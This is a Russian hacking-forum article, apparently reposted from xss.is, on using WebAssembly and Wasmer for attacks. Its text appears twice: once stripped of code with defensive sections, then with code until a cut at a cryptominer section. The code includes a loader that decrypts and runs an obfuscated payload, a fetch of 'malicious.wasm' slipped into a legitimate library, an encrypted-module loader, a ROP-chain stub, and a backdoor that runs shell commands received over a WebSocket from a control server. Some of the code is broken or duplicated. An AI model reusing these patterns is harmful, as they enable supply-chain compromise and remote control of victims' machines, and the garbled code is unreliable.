D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Автор Patr1ck
Источник https://xss.is
На первый взгляд проект показался настолько интересным, что я недолго думая запустил установку, заварил чаю и пошел читать что это за зверь такой - WebAssembly. По иронии судьбы, как JavaScript имеет мало общего с Java, так и WebAssembly - не совсем про веб и не совсем ассемблер. Но давайте обо всем по порядку.
WebAssembly, или как его ласково называют Wasm, - это низкоуровневый язык программирования. "Представь себе язык, который может работать везде - от браузера твоей бабушки до сервера в дата-центре посреди пустыни - и при этом шустрит как ракета" - какой-то такой посыл встретил меня на сайте, ничего толком как всегда не объясняя.
По сути же, Wasm - это бинарный формат инструкций для виртуальной машины. Главная фишка Wasm в том, что он позволяет компилировать код с языков типа C, C++ или Rust прямо для выполнения в браузере. И при этом работает он почти так же быстро, как нативный код. Как следствие, ты можешь запустить в браузере код, который раньше мог работать только на десктопе (или запустить код которым ты не очень хотел бы отсвечивать на фронте).
Wasmer же - это среда выполнения для WebAssembly за пределами браузера. По сути, если говорить с большой натяжкой и допущениями, то Wasmer для Wasm - то же самое, что Node.js для Javascript'а. С ее помощью ты можешь запускать Wasm-модули где угодно: на сервере, в IoT-устройствах, в своем умном доме. Также Wasmer позволяет интегрировать Wasm-модули в приложения на разных языках программирования. Хочешь использовать крутую библиотеку на C++ в своем Python-скрипте? Не проблема! Скомпилируй ее в WebAssembly и запусти через Wasmer.
Короче, у меня субъективно сложилось такое ощущение, что Wasm целится в нишу "язык для всего на свете, запускаемый на любых плотформах и теперь еще и банановый". Ну да ладно, БГ им судья с их маркетинговыми игрищами, нас же больше интересует практическое применение этого зверя и то, какие возможности конкретно для нас он открывает.
А по факту-то WebAssembly и Wasmer открывают кучу возможностей для атакующих. Да-да, ты правильно понял - ВОЗМОЖНОСТИ.
Во-первых, Wasm предоставляет отличные возможности для обфускации кода. Попробуй-ка разобрать бинарный Wasm-модуль - это тебе не JavaScript читать! Во-вторых, высокая производительность Wasm делает его идеальным инструментом для создания эффективных майнеров криптовалют или ботнетов. В-третьих, кросс-платформенность Wasm и Wasmer позволяет создавать вредоносное ПО, работающее на любых устройствах - от смартфонов до серверов. Но не спеши потирать руки в предвкушении - мы здесь не для того, чтобы учить тебя взламывать чужие системы. Наша задача для начала - понять, как работают эти технологии.
Итак, давай разберем WebAssembly по косточкам. Представь, что Wasm - это своего рода цифровой трансформер, способный принимать форму нативного кода для любой платформы.
Ключевые особенности архитектуры WebAssembly:
Код: Скопировать в буфер обмена
Этот малыш просто складывает два числа., но в бинарном формате после компиляции он будет выглядеть куда более загадочно - с первого взгляда точно не получится понять что оно там делает на самом деле, особенно фронтендерам, которые для того и пошли во фронт, чтоб со всей этой лоулевел дичью не сталкиваться.
Окей, с WebAssembly плюс минус разобрались. Это не веб и не ассемблер. Теперь давай поговорим о Wasmer. Если WebAssembly - это наш цифровой жук-трансформер, то Wasmer - это портал, который позволяет ему выйти за пределы браузера в реальный мир. Ключевыми компонентами являются комплиятор, (преобразующий бинарный Wasm-код в нативный машинный код; среда выполнения (управляет выполнением скомпилированного кода); система, обеспечивающая изоляцию и управление линейной памятью; и система импорта/экспорта, позволяющая модулям взаимодейстовать с хост-системой.
Вот пример использования Wasmer для выполнения нашего простого Wasm-модуля:
Код: Скопировать в буфер обмена
Выглядит безобидно, правда? Но представь, что вместо сложения чисел этот код выполняет несанкционированный доступ к файловой системе или сбор конфиденциальной информации - никто же в реальности не пойдет ковырять код чего-то с лиспообразным синтаксисом и разбираться реально что там происходит. Сложение значит сложение, так и запишем. И эта бесшовная интеграция для возможности "запуска где угодно" как раз таки играет нам на руку.
Окей с потенциальными угрозами все понятно. А теперь давайте немного поиграем за синюю команду и поймем, а какие вообще механизмы защиты предлагает нам Wasm? Чем же и как WebAssembly и Wasmer пытаются защититься?
Основными методами на данный момент являются песочница, строгая проверка типов, контроль доступа к памяти и ограниченный набор инструкций. Как говорится - сомнительно, но окэээй. Обсуждение эффективности данных методов защиты можем перенести в комментарии к статье, а я пока продолжу.
Пришло время поговорить о сладком. Почему WebAssembly и Wasmer могут быть настоящей конфеткой для атакующих? Давайте разберемся и рассмотрим гипотетические примеры сферических коней в вакууме.
Этот код может быть скомпилирован в WebAssembly и использован для быстрых вычислений прямо в браузере. Может быть полезно, например, для распределенного взлома паролей или анализа больших объемов данных:
C++: Скопировать в буфер обмена
Раньше, если вы хотели создать вредоносное ПО, работающий на разных платформах, вам приходилось писать отдельные версии для Windows, Linux, macOS и мобильных устройств. С WebAssembly эта головная боль уходит в прошлое.
Вот пример кросс-платформенного Wasm-модуля:
Код: Скопировать в буфер обмена
Этот код может быть скомпилирован в WebAssembly и использован как в браузере, так и в других средах выполнения Wasm. Один код - множество целей.
Бинарный формат Wasm сложнее анализировать, чем исходный код на языках высокого уровня. Скомпилированный код, представленный ниже, намного сложнее будет анализировать, чем обычный JavaScript или даже нативный бинарный код.
Как можно использовать WebAssembly для обфускации вредоносного кода:
C: Скопировать в буфер обмена
Представьте, что вы можете взять популярную JavaScript библиотеку и незаметно добавить в нее Wasm-модуль с дополнительной "функциональностью".
Пример такого "улучшения" легитимной библиотеки:
JavaScript: Скопировать в буфер обмена
Вдумчивый читатель также заметит, что инициация модуля происходит на лету прямо из буфера, а значит полезная нагрузка не обязательно должна храниться локально или вообще присутствовать в сорцах - она может быть подгружена динамически.
Здесь код загружает и выполняет Wasm-модуль в нативном приложении, потенциально обходя некоторые системные механизмы безопасности:
Код: Скопировать в буфер обмена
Вы можете динамически генерировать и модифицировать Wasm-модули, создавая уникальные экземпляры вредоносного кода для каждой цели.
Пример создания простого полиморфного Wasm-модуля, код генерирует случайную математическую функцию, которая будет уникальной для каждого семени:
Код: Скопировать в буфер обмена
WebAssembly помогает обойти традиционные системы обнаружения и предотвращения вторжений по нескольким причинам:
Динамической загрузка зашифрованного Wasm-модуля, расшифровка и выполнение:
JavaScript: Скопировать в буфер обмена
Высокая производительность Wasm позволяет реализовывать продвинутые техники эксплуатации уязвимостей, такие как ROP (Return-Oriented Programming) или JOP (Jump-Oriented Programming).
Создадим простую ROP-цепочку, которую можно использовать для обхода защитных механизмов, таких как DEP или ASLR:
Код: Скопировать в буфер обмена
Вы можете создать Wasm-модуль, который будет выполнять функции бэкдора, и внедрить его в легитимное веб-приложение. Бэкдор устанавливает WebSocket соединение с управляющим сервером и выполняет полученные команды:
Код: Скопировать в буфер обмена
WebAssembly идеально подходит для создания эффективных майнеров крипты, которые могут работать прямо в браузере пользователя. Высокая производительность Wasm позволяет достичь скорости майнинга, близкой к нативным реализациям. Код реализует простой алгоритм майнинга, который может быть легко интегрирован в веб-страницу для скрытого майнинга:
Код: Скопировать в буфер обмена
Ну что же, с особенностями применения для "продвинутых пользователей" разобрались, а теперь я снова приглашаю всех читателей переметнуться на синюю сторону поля и посмотреть на WebAssembly с точки зрения защиты и выявления потенциальных угроз. Ну или как унести воду в решете, тут на ваш вкус.
Итак, мы рассмотрели, как WebAssembly может быть использован для создания продвинутых "инструментов безопасности". Теперь давайте посмотрим на обратную сторону медали - как выявлять и анализировать вредоносные Wasm-модули.
Статический анализ - это как разглядывание подозрительной посылки через рентген. Мы пытаемся понять, что внутри, не открывая коробку. Для WebAssembly это может быть непростой задачей, но у нас есть несколько трюков в рукаве. Давайте посмотрим на простой инструмент, который использует библиотеку `wasm` для дизассемблирования Wasm-модуля. Он выводит инструкции каждой функции, что может помочь обнаружить подозрительное поведение:
Python: Скопировать в буфер обмена
Если статический анализ - это рентген, то динамический анализ - это вскрытие подозрительной посылки в защищенной лаборатории. Мы запускаем код и смотрим, что он делает. А именно - загружаем Wasm-модуль и перехватываем вызовы функций, выводя информацию о них. Это может помочь нам понять, что делает модуль во время выполнения
JavaScript: Скопировать в буфер обмена
Также при динамическом анализе важно помнить, что некоторые продвинутые вредоносные программы могут определять, что они запущены в среде анализа, и менять свое поведение. Вот пример, который проверяет время выполнения операции и меняет свое поведение, если оно слишком короткое:
Код: Скопировать в буфер обмена
Иногда вредоносный Wasm-модуль можно обнаружить по его поведению или использованию ресурсов. Например, майнер криптовалют будет интенсивно использовать CPU. Чтобы обнаружить скрытые майнеры или другие вредоносные программы, интенсивно использующие ресурсы, необходимо отследить использование оперативки и сделать оповещение, если оно превышает определенный порог. Мониторинг использования CPU в браузере можно реализовать например вот так:
JavaScript: Скопировать в буфер обмена
Многие вредоносные программы нуждаются в сетевом взаимодействии - для получения команд, отправки полученных данных или обновления своего кода. Мониторинг сетевой активности может помочь обнаружить такое поведение. Вот пример как можно это реализовать с помощью простого кода, который перехватывает все XMLHttpRequest и логирует URL запросов и ответов:
JavaScript: Скопировать в буфер обмена
Опять же, важно помнить что есть "продвинутый" уровень. Продвинутые вредоносные программы используют WebSocket или даже WebRTC для скрытой коммуникации. Для примера скрытый канал связи через WebRTC, который может быть использован для получения команд и отправки украденных данных:
JavaScript: Скопировать в буфер обмена
Не намного сложнее, чем на запросах, и плюс минус так же просто, как через вебсокет, поэтому про такой способ коммуникации тоже необходимо помнить и также анализировать такие виды траффика.
А сейчас немного предлагаю пофантазировать и посмотреть на WebAssembly с точки зрения перспективы (и снова перейти на красную сторону площадки).
Мы с вами уже прошли долгий путь. Мы нырнули в глубины WebAssembly, исследовали его темные уголки, посмотрели на потенциальные возможности и на механизмы анализа, но наше путешествие еще не закончено. Давайте заглянем в будущее и попробуем представить, что ждет нас на горизонте WebAssembly и кибербезопасности.
Что произойдет, если WebAssembly начнут пихать везде и всюду (как это декламируют на сайте) и к каким последствиям может привести мультиязычная универсальная вм с возможностью запуска на чем угодно.
Представьте себе WebAssembly, который может напрямую взаимодействовать с оборудованием. Сейчас есть определенный уровень изоляции, но что если его уберут или что если он обходится? Вот пример потенциального вредоносного ПО будущего, которое может шифровать файлы прямо из Wasm-модуля, :
Код: Скопировать в буфер обмена
Полиморфный, динамически подгружаемый (бесфайловый по сути) рансом, который можно запускать "на чем угодно". Бррррррр.
С развитием квантовых вычислений, шифрование тоже должно эволюционировать. WebAssembly может стать отличной платформой для реализации квантово-устойчивых алгоритмов шифрования. Код ниже демонстрирует, как WebAssembly может быть использован для реализации пост-квантовых алгоритмов шифрования. С одной стороны, это отличная защита от квантовых атак. С другой - такое мощное шифрование в руках злоумышленников может стать настоящей проблемой:
Код: Скопировать в буфер обмена
Представьте себе вредоносное ПО, которое может обучаться и адаптироваться. Звучит как сюжет для фильма ужасов, правда? Но с развитием технологий искусственного интеллекта и возможностью их интеграции с WebAssembly, это может стать реальностью. Пример вредоносного ПО, которое использует простую нейронную сеть для анализа окружения и выбора наиболее эффективного метода атаки. Оно может обучаться на основе успешности предыдущих атак, постоянно адаптируясь к новым условиям и мерам защиты
Код: Скопировать в буфер обмена
Помните, что те же технологии могут быть использованы и для защиты. Например, вот как может выглядеть ИИ-система обнаружения вторжений на основе WebAssembly. Система использует нейронную сеть для анализа состояния системы и определения, происходит ли вторжение. Она может обучаться на новых данных, постоянно улучшая свою способность обнаруживать даже самые изощренные атаки:
Код: Скопировать в буфер обмена
С развитием квантовых вычислений многие существующие методы шифрования станут уязвимыми. Но WebAssembly может стать платформой для реализации пост-квантовых алгоритмов шифрования. Использование алгоритма Kyber, одного из кандидатов на стандарт пост-квантовой криптографии, в WebAssembly. Такие алгоритмы могут обеспечить безопасность даже в эпоху квантовых компьютеров:
Код: Скопировать в буфер обмена
С распространением Интернета вещей (IoT), WebAssembly может стать идеальной платформой для создания легковесных, эффективных и кросс-платформенных приложений для IoT устройств. Но это также открывает новый фронт для кибератак. Простой ботнет для IoT устройств, который может выполнять различные вредоносные действия по команде из центра управления:
Код: Скопировать в буфер обмена
Но не все так мрачно! WebAssembly также может быть использован для защиты IoT устройств. Вот например, эта система использует простое евклидово расстояние для определения, насколько текущее поведение устройства отличается от нормального. Если отклонение превышает заданный порог, система сигнализирует о возможном вторжении:
Код: Скопировать в буфер обмена
Как вы поняли, это бесконечная игра в кошки-мышки. WebAssembly открывает огромные возможности для создания эффективных, кросс-платформенных приложений. Но в то же время, оно предоставляет новые инструменты для злоумышленников. Искусственный интеллект, квантовые вычисления, Интернет вещей - все эти технологии в сочетании с WebAssembly могут стать как мощным оружием, так и надежным щитом.
Ну и в завершение, хочу все таки еще раз шагнуть на синюю сторону и показать, как теоретически можно защититься от теоретических сферических коней в вакууме, которых мы тут напридумывали.
Итак, друзья-параноики (в хорошем смысле этого слова), мы добрались до самого вкусного - как защититься от всех этих коварных WebAssembly-атак, о которых мы узнали. Пристегните ремни, мы отправляемся в мир цифровых крепостей и файерволов!
Первое правило клуба WebAssembly - никогда не доверяй Wasm-модулям. Даже если они говорят, что просто хотят посчитать числа Фибоначчи.
Вот пример того, как можно создать простую песочницу для выполнения Wasm-модулей и спать спокойно:
JavaScript: Скопировать в буфер обмена
Эта песочница ограничивает доступ Wasm-модуля к памяти и таблице функций, а также перехватывает вызовы `abort`. Это уже неплохая защита, но помните - нет такой песочницы, которую нельзя было бы просыпать!
Content Security Policy (CSP) - это как строгий вышибала в клубе, который решает, кому можно войти, а кому нет. Вот пример CSP, который ограничивает выполнение WebAssembly:
HTML: Скопировать в буфер обмена
Это отключает выполнение WebAssembly полностью. Но что, если нам нужен Wasm для легитимных целей? Тогда можно использовать более гибкую политику:
HTML: Скопировать в буфер обмена
Это разрешает выполнение только тех Wasm-модулей, которые загружены с того же источника, что и сама страница.
Даже если вредоносный Wasm-модуль прорвется через все барьеры, мы все еще можем ограничить ущерб, контролируя использование ресурсов. Вот пример кода, который ограничивает время выполнения Wasm-функции:
JavaScript: Скопировать в буфер обмена
Этот код прерывает выполнение функции, если оно занимает больше 1 секунды. Прощай, скрытый майнинг!
Когда дело доходит до WebAssembly, мы должны быть как Фома неверующий - не верить, пока не потрогаем. И в нашем случае "потрогать" означает проверить целостность Wasm-модуля перед его выполнением.
Вот пример кода, который проверяет хеш Wasm-модуля перед его загрузкой:
JavaScript: Скопировать в буфер обмена
Этот код вычисляет SHA-256 хеш загруженного Wasm-модуля и сравнивает его с ожидаемым значением. Если хеши не совпадают, модуль не загружается. Это как проверка паспорта на границе - никаких поддельных Wasm-модулей!
Даже если Wasm-модуль прошел все проверки, мы все равно должны следить за его поведением. Вот пример инструментирования Wasm-модуля для отслеживания вызовов функций:
JavaScript: Скопировать в буфер обмена
Этот код добавляет функцию `functionCalled`, которая вызывается перед каждой функцией в Wasm-модуле. Это позволяет нам отслеживать, какие функции вызываются и в каком порядке.
Многие вредоносные Wasm-модули полагаются на доступ к API браузера для своих темных делишек. Наша задача - не дать им этого доступа. Вот пример того, как можно ограничить доступ Wasm-модуля к API:
JavaScript: Скопировать в буфер обмена
Этот код предоставляет Wasm-модулю только ограниченный набор безопасных функций. Никакого доступа к DOM, сети или другим потенциально опасным API. Короче он там как в бункере будет - никаких контактов с внешним миром.
Банально возможно, но помните: в мире нет ничего постоянного, кроме перемен. Вчерашние меры безопасности сегодня могут оказаться бесполезными. Поэтому важно регулярно обновлять все компоненты системы:
Последний, но не менее важный аспект защиты - это образование. Все члены вашей команды должны понимать риски, связанные с WebAssembly, и знать, как их минимизировать.
Вот несколько ключевых моментов, которые должен знать каждый разработчик:
Распечатать можно, ну или там на рабочий стол обои поставить, от греха подальше.
Фух, ну и путешествие у нас получилось! Мы прошли путь от базового понимания WebAssembly до продвинутых техник защиты от Wasm-атак.
Что я вообще хотел сказать этой статьей: в мире кибербезопасности нет волшебной пилюли. Защита - это постоянный процесс, требующий бдительности, знаний и немного паранойи.
WebAssembly - мощная технология с огромным потенциалом. Но, как и любой мощный инструмент, она может быть использована как во благо, так и во вред. Возможность написания супермультиплатформенных приложений и выполнения кода "на чем угодно" - это очень серьезное заявление, и хотелось бы чтобы разработчики также осознавали потенциальную серьезность последствий от создания таких решений.
Ну а я на этом прощаюсь, с вами был Патрик, специально для XSS.
Изучайте новое, развивайтесь, стремитесь к совершенству.
И до новых встреч!
P.S. И не забывайте время от времени отключать компьютер и выходить на свежий воздух. Говорят, там тоже бывает интересно!
Источник https://xss.is
Часть 1. Кругом обман
Однажды томным осенним вечером непоcтижимая сила интернета занесла меня на официальный сайт проекта Wasmer. Вокруг мелькали громкие лозунги в стиле "пиши на чем хочешь - запускай где хочешь", и с разных сторон выглядывали логотипы и названия крупных брендов-партнеров.На первый взгляд проект показался настолько интересным, что я недолго думая запустил установку, заварил чаю и пошел читать что это за зверь такой - WebAssembly. По иронии судьбы, как JavaScript имеет мало общего с Java, так и WebAssembly - не совсем про веб и не совсем ассемблер. Но давайте обо всем по порядку.
WebAssembly, или как его ласково называют Wasm, - это низкоуровневый язык программирования. "Представь себе язык, который может работать везде - от браузера твоей бабушки до сервера в дата-центре посреди пустыни - и при этом шустрит как ракета" - какой-то такой посыл встретил меня на сайте, ничего толком как всегда не объясняя.
По сути же, Wasm - это бинарный формат инструкций для виртуальной машины. Главная фишка Wasm в том, что он позволяет компилировать код с языков типа C, C++ или Rust прямо для выполнения в браузере. И при этом работает он почти так же быстро, как нативный код. Как следствие, ты можешь запустить в браузере код, который раньше мог работать только на десктопе (или запустить код которым ты не очень хотел бы отсвечивать на фронте).
Wasmer же - это среда выполнения для WebAssembly за пределами браузера. По сути, если говорить с большой натяжкой и допущениями, то Wasmer для Wasm - то же самое, что Node.js для Javascript'а. С ее помощью ты можешь запускать Wasm-модули где угодно: на сервере, в IoT-устройствах, в своем умном доме. Также Wasmer позволяет интегрировать Wasm-модули в приложения на разных языках программирования. Хочешь использовать крутую библиотеку на C++ в своем Python-скрипте? Не проблема! Скомпилируй ее в WebAssembly и запусти через Wasmer.
Короче, у меня субъективно сложилось такое ощущение, что Wasm целится в нишу "язык для всего на свете, запускаемый на любых плотформах и теперь еще и банановый". Ну да ладно, БГ им судья с их маркетинговыми игрищами, нас же больше интересует практическое применение этого зверя и то, какие возможности конкретно для нас он открывает.
А по факту-то WebAssembly и Wasmer открывают кучу возможностей для атакующих. Да-да, ты правильно понял - ВОЗМОЖНОСТИ.
Во-первых, Wasm предоставляет отличные возможности для обфускации кода. Попробуй-ка разобрать бинарный Wasm-модуль - это тебе не JavaScript читать! Во-вторых, высокая производительность Wasm делает его идеальным инструментом для создания эффективных майнеров криптовалют или ботнетов. В-третьих, кросс-платформенность Wasm и Wasmer позволяет создавать вредоносное ПО, работающее на любых устройствах - от смартфонов до серверов. Но не спеши потирать руки в предвкушении - мы здесь не для того, чтобы учить тебя взламывать чужие системы. Наша задача для начала - понять, как работают эти технологии.
Часть 2: Архитектура и принципы работы WebAssembly и Wasmer
Итак, давай разберем WebAssembly по косточкам. Представь, что Wasm - это своего рода цифровой трансформер, способный принимать форму нативного кода для любой платформы.
Ключевые особенности архитектуры WebAssembly:
- Бинарный формат: Wasm использует компактное бинарное представление. Можно сжать целый грузовик информации до размеров спичечного коробка. Быстрая загрузка, эффективное выполнение - просто песня для любого, кто хочет незаметно внедрить свой код.
- Стековая виртуальная машина: WebAssembly выполняется на абстрактной стековой машине. По сути универсальный переводчик, способный общаться на любом языке, код будет работать везде. Ну и s-выражения там еще под капотом фигурируют, куда же без секретного оружия.
- Линейная память: Wasm-модули работают с линейным блоком памяти, изолированным от основной памяти хост-системы.
- Строгая типизация: WebAssembly использует строгую статическую систему типов. С одной стороны, это повышает безопасность и действительно делает код более читаемым и понятным для разработчика. С другой - заставляет авторов вредоносного ПО быть более изобретательными.
Код: Скопировать в буфер обмена
Код:
(module
(func $add (param $a i32) (param $b i32) (result i32)
local.get $a
local.get $b
i32.add)
(export "add" (func $add))
)
Этот малыш просто складывает два числа., но в бинарном формате после компиляции он будет выглядеть куда более загадочно - с первого взгляда точно не получится понять что оно там делает на самом деле, особенно фронтендерам, которые для того и пошли во фронт, чтоб со всей этой лоулевел дичью не сталкиваться.
Окей, с WebAssembly плюс минус разобрались. Это не веб и не ассемблер. Теперь давай поговорим о Wasmer. Если WebAssembly - это наш цифровой жук-трансформер, то Wasmer - это портал, который позволяет ему выйти за пределы браузера в реальный мир. Ключевыми компонентами являются комплиятор, (преобразующий бинарный Wasm-код в нативный машинный код; среда выполнения (управляет выполнением скомпилированного кода); система, обеспечивающая изоляцию и управление линейной памятью; и система импорта/экспорта, позволяющая модулям взаимодейстовать с хост-системой.
Вот пример использования Wasmer для выполнения нашего простого Wasm-модуля:
Код: Скопировать в буфер обмена
Код:
use wasmer::{Store, Module, Instance, Value, imports};
fn main() -> anyhow::Result<()> {
let wasm_bytes = include_bytes!("add.wasm");
let store = Store::default();
let module = Module::new(&store, wasm_bytes)?;
let import_object = imports! {};
let instance = Instance::new(&module, &import_object)?;
let add = instance.exports.get_function("add")?;
let result = add.call(&[Value::I32(5), Value::I32(37)])?;
println!("Result: {:?}", result[0]);
Ok(())
}
Выглядит безобидно, правда? Но представь, что вместо сложения чисел этот код выполняет несанкционированный доступ к файловой системе или сбор конфиденциальной информации - никто же в реальности не пойдет ковырять код чего-то с лиспообразным синтаксисом и разбираться реально что там происходит. Сложение значит сложение, так и запишем. И эта бесшовная интеграция для возможности "запуска где угодно" как раз таки играет нам на руку.
Окей с потенциальными угрозами все понятно. А теперь давайте немного поиграем за синюю команду и поймем, а какие вообще механизмы защиты предлагает нам Wasm? Чем же и как WebAssembly и Wasmer пытаются защититься?
Основными методами на данный момент являются песочница, строгая проверка типов, контроль доступа к памяти и ограниченный набор инструкций. Как говорится - сомнительно, но окэээй. Обсуждение эффективности данных методов защиты можем перенести в комментарии к статье, а я пока продолжу.
Часть 3: Преимущества использования WebAssembly для "продвинутых пользователей"
Пришло время поговорить о сладком. Почему WebAssembly и Wasmer могут быть настоящей конфеткой для атакующих? Давайте разберемся и рассмотрим гипотетические примеры сферических коней в вакууме.
Повышение производительности: когда каждая миллисекунда на счету.
Этот код может быть скомпилирован в WebAssembly и использован для быстрых вычислений прямо в браузере. Может быть полезно, например, для распределенного взлома паролей или анализа больших объемов данных:
C++: Скопировать в буфер обмена
Код:
#include <emscripten/emscripten.h>
#include <cmath>
extern "C" {
EMSCRIPTEN_KEEPALIVE
double compute_pi(int iterations) {
double pi = 0.0;
double sign = 1.0;
for (int i = 0; i < iterations; ++i) {
pi += sign / (2 * i + 1);
sign *= -1;
}
return 4 * pi;
}
}
Кросс-платформенность: один код чтобы править всеми
Раньше, если вы хотели создать вредоносное ПО, работающий на разных платформах, вам приходилось писать отдельные версии для Windows, Linux, macOS и мобильных устройств. С WebAssembly эта головная боль уходит в прошлое.
Вот пример кросс-платформенного Wasm-модуля:
Код: Скопировать в буфер обмена
Код:
use wasm_bindgen::prelude::*;
#[wasm_bindgen]
pub fn encrypt(data: &str, key: &str) -> String {
let mut result = String::new();
for (i, c) in data.chars().enumerate() {
let key_char = key.chars().nth(i % key.len()).unwrap();
let encrypted_char = ((c as u8 + key_char as u8) % 128) as char;
result.push(encrypted_char);
}
result
}
#[wasm_bindgen]
pub fn decrypt(data: &str, key: &str) -> String {
let mut result = String::new();
for (i, c) in data.chars().enumerate() {
let key_char = key.chars().nth(i % key.len()).unw
let key_char = key.chars().nth(i % key.len()).unwrap();
let decrypted_char = ((c as u8 + 128 - key_char as u8) % 128) as char;
result.push(decrypted_char);
}
result
}
Этот код может быть скомпилирован в WebAssembly и использован как в браузере, так и в других средах выполнения Wasm. Один код - множество целей.
Обфускация кода: прячем иголку в стоге сена
Бинарный формат Wasm сложнее анализировать, чем исходный код на языках высокого уровня. Скомпилированный код, представленный ниже, намного сложнее будет анализировать, чем обычный JavaScript или даже нативный бинарный код.
Как можно использовать WebAssembly для обфускации вредоносного кода:
C: Скопировать в буфер обмена
Код:
#include <emscripten/emscripten.h>
#include <stdlib.h>
#include <string.h>
// Простая функция шифрования XOR
void xor_encrypt(char* data, const char* key, int len) {
int key_len = strlen(key);
for (int i = 0; i < len; i++) {
data[i] ^= key[i % key_len];
}
}
// Обфусцированный вредоносный код
const char encrypted_payload[] = {
/* зашифрованные байты вредоносного кода */
0x12, 0x34, 0x56, 0x78, /* ... */
};
EMSCRIPTEN_KEEPALIVE
void run_payload(const char* key) {
int len = sizeof(encrypted_payload);
char* payload = malloc(len);
memcpy(payload, encrypted_payload, len);
xor_encrypt(payload, key, len);
// Выполнение расшифрованного кода
((void (*)(void))payload)();
free(payload);
}
Внедрение в легитимные приложения: волк в овечьей шкуре
Представьте, что вы можете взять популярную JavaScript библиотеку и незаметно добавить в нее Wasm-модуль с дополнительной "функциональностью".
Пример такого "улучшения" легитимной библиотеки:
JavaScript: Скопировать в буфер обмена
Код:
// Легитимный код библиотеки
export function someFunction() {
// ...
}
// Вредоносный код, загружающий Wasm-модуль
(async () => {
const response = await fetch('malicious.wasm');
const buffer = await response.arrayBuffer();
const module = await WebAssembly.instantiate(buffer);
module.instance.exports.maliciousFunction();
})();
Вдумчивый читатель также заметит, что инициация модуля происходит на лету прямо из буфера, а значит полезная нагрузка не обязательно должна храниться локально или вообще присутствовать в сорцах - она может быть подгружена динамически.
Использование Wasmer для обхода песочниц
Здесь код загружает и выполняет Wasm-модуль в нативном приложении, потенциально обходя некоторые системные механизмы безопасности:
Код: Скопировать в буфер обмена
Код:
use wasmer::{Store, Module, Instance, imports};
fn main() -> Result<(), Box<dyn std::error::Error>> {
let wasm_bytes = include_bytes!("potentially_malicious.wasm");
let store = Store::default();
let module = Module::new(&store, wasm_bytes)?;
let import_object = imports! {};
let instance = Instance::new(&module, &import_object)?;
let execute = instance.exports.get_function("execute")?;
execute.call(&[])?;
Ok(())
}
Создание сложных полиморфных угроз
Вы можете динамически генерировать и модифицировать Wasm-модули, создавая уникальные экземпляры вредоносного кода для каждой цели.
Пример создания простого полиморфного Wasm-модуля, код генерирует случайную математическую функцию, которая будет уникальной для каждого семени:
Код: Скопировать в буфер обмена
Код:
use wasm_bindgen::prelude::*;
use rand::Rng;
#[wasm_bindgen]
pub fn generate_polymorphic_function(seed: u32) -> js_sys::Function {
let mut rng = rand::rngs::StdRng::seed_from_u64(seed as u64);
let operation = match rng.gen_range(0..4) {
0 => "+",
1 => "-",
2 => "*",
_ => "/",
};
let constant = rng.gen_range(1..100);
let js_code = format!(
"return function(x) {{ return x {} {}; }}",
operation, constant
);
js_sys::Function::new_no_args(&js_code)
}
Использование WebAssembly для обхода систем обнаружения вторжений (IDS/IPS)
WebAssembly помогает обойти традиционные системы обнаружения и предотвращения вторжений по нескольким причинам:
- Нестандартный формат: Многие IDS/IPS не настроены на анализ Wasm-кода.
- Динамическая загрузка: Wasm-модули могут загружаться динамически, что затрудняет их обнаружение при статическом анализе.
- Шифрование: Wasm-модули могут быть зашифрованы и расшифрованы только во время выполнения.
Динамической загрузка зашифрованного Wasm-модуля, расшифровка и выполнение:
JavaScript: Скопировать в буфер обмена
Код:
// Функция для расшифровки данных
function decrypt(data, key) {
return data.split('').map((char, index) =>
String.fromCharCode(char.charCodeAt(0) ^ key.charCodeAt(index % key.length))
).join('');
}
// Загрузка и расшифровка Wasm-модуля
async function loadEncryptedWasm(url, key) {
const response = await fetch(url);
const encryptedData = await response.text();
const decryptedData = decrypt(encryptedData, key);
const wasmModule = await WebAssembly.compile(
Uint8Array.from(decryptedData.split('').map(char => char.charCodeAt(0)))
);
return WebAssembly.instantiate(wasmModule);
}
// Использование
loadEncryptedWasm('encrypted_module.wasm', 'secret_key')
.then(instance => {
const { malicious_function } = instance.exports;
malicious_function();
});
WebAssembly как инструмент для создания продвинутых эксплойтов
Высокая производительность Wasm позволяет реализовывать продвинутые техники эксплуатации уязвимостей, такие как ROP (Return-Oriented Programming) или JOP (Jump-Oriented Programming).
Создадим простую ROP-цепочку, которую можно использовать для обхода защитных механизмов, таких как DEP или ASLR:
Код: Скопировать в буфер обмена
Код:
use wasm_bindgen::prelude::*;
#[wasm_bindgen]
pub struct ROPChain {
gadgets: Vec<u32>,
}
#[wasm_bindgen]
impl ROPChain {
#[wasm_bindgen(constructor)]
pub fn new() -> ROPChain {
let gadgets = vec![
0x58585858, // pop rax ; pop rax ; pop rax ; pop rax ; ret
0x5a5a5a5a, // pop rdx ; pop rdx ; pop rdx ; pop rdx ; ret
0x5959595959, // pop rcx ; pop rcx ; pop rcx ; pop rcx ; pop rcx ; ret
];
ROPChain { gadgets }
}
pub fn create_rop_chain(&self, base_address: u32) -> Vec<u8> {
let mut rop_chain = Vec::new();
for gadget in &self.gadgets {
rop_chain.extend_from_slice(&(gadget + base_address).to_le_bytes());
}
rop_chain
}
}
Использование WebAssembly для создания сложных бэкдоров
Вы можете создать Wasm-модуль, который будет выполнять функции бэкдора, и внедрить его в легитимное веб-приложение. Бэкдор устанавливает WebSocket соединение с управляющим сервером и выполняет полученные команды:
Код: Скопировать в буфер обмена
Код:
use wasm_bindgen::prelude::*;
use web_sys::{WebSocket, MessageEvent};
use js_sys::Function;
#[wasm_bindgen]
pub struct Backdoor {
ws: WebSocket,
}
#[wasm_bindgen]
impl Backdoor {
#[wasm_bindgen(constructor)]
pub fn new(url: &str) -> Result<Backdoor, JsValue> {
let ws = WebSocket::new(url)?;
let onmessage = Closure::wrap(Box::new(move |e: MessageEvent| {
if let Ok(cmd) = e.data().dyn_into::<js_sys::JsString>() {
// Выполнение полученной команды
let result = std::process::Command::new("sh")
.arg("-c")
.arg(cmd.as_string().unwrap())
.output()
.expect("Failed to execute command");
let output = String::from_utf8_lossy(&result.stdout);
ws.send_with_str(&output).unwrap();
}
}) as Box<dyn FnMut(MessageEvent)>);
ws.set_onmessage(Some(onmessage.as_ref().unchecked_ref()));
onmessage.forget();
Ok(Backdoor { ws })
}
}
Создание продвинутых майнеров
WebAssembly идеально подходит для создания эффективных майнеров крипты, которые могут работать прямо в браузере пользователя. Высокая производительность Wasm позволяет достичь скорости майнинга, близкой к нативным реализациям. Код реализует простой алгоритм майнинга, который может быть легко интегрирован в веб-страницу для скрытого майнинга:
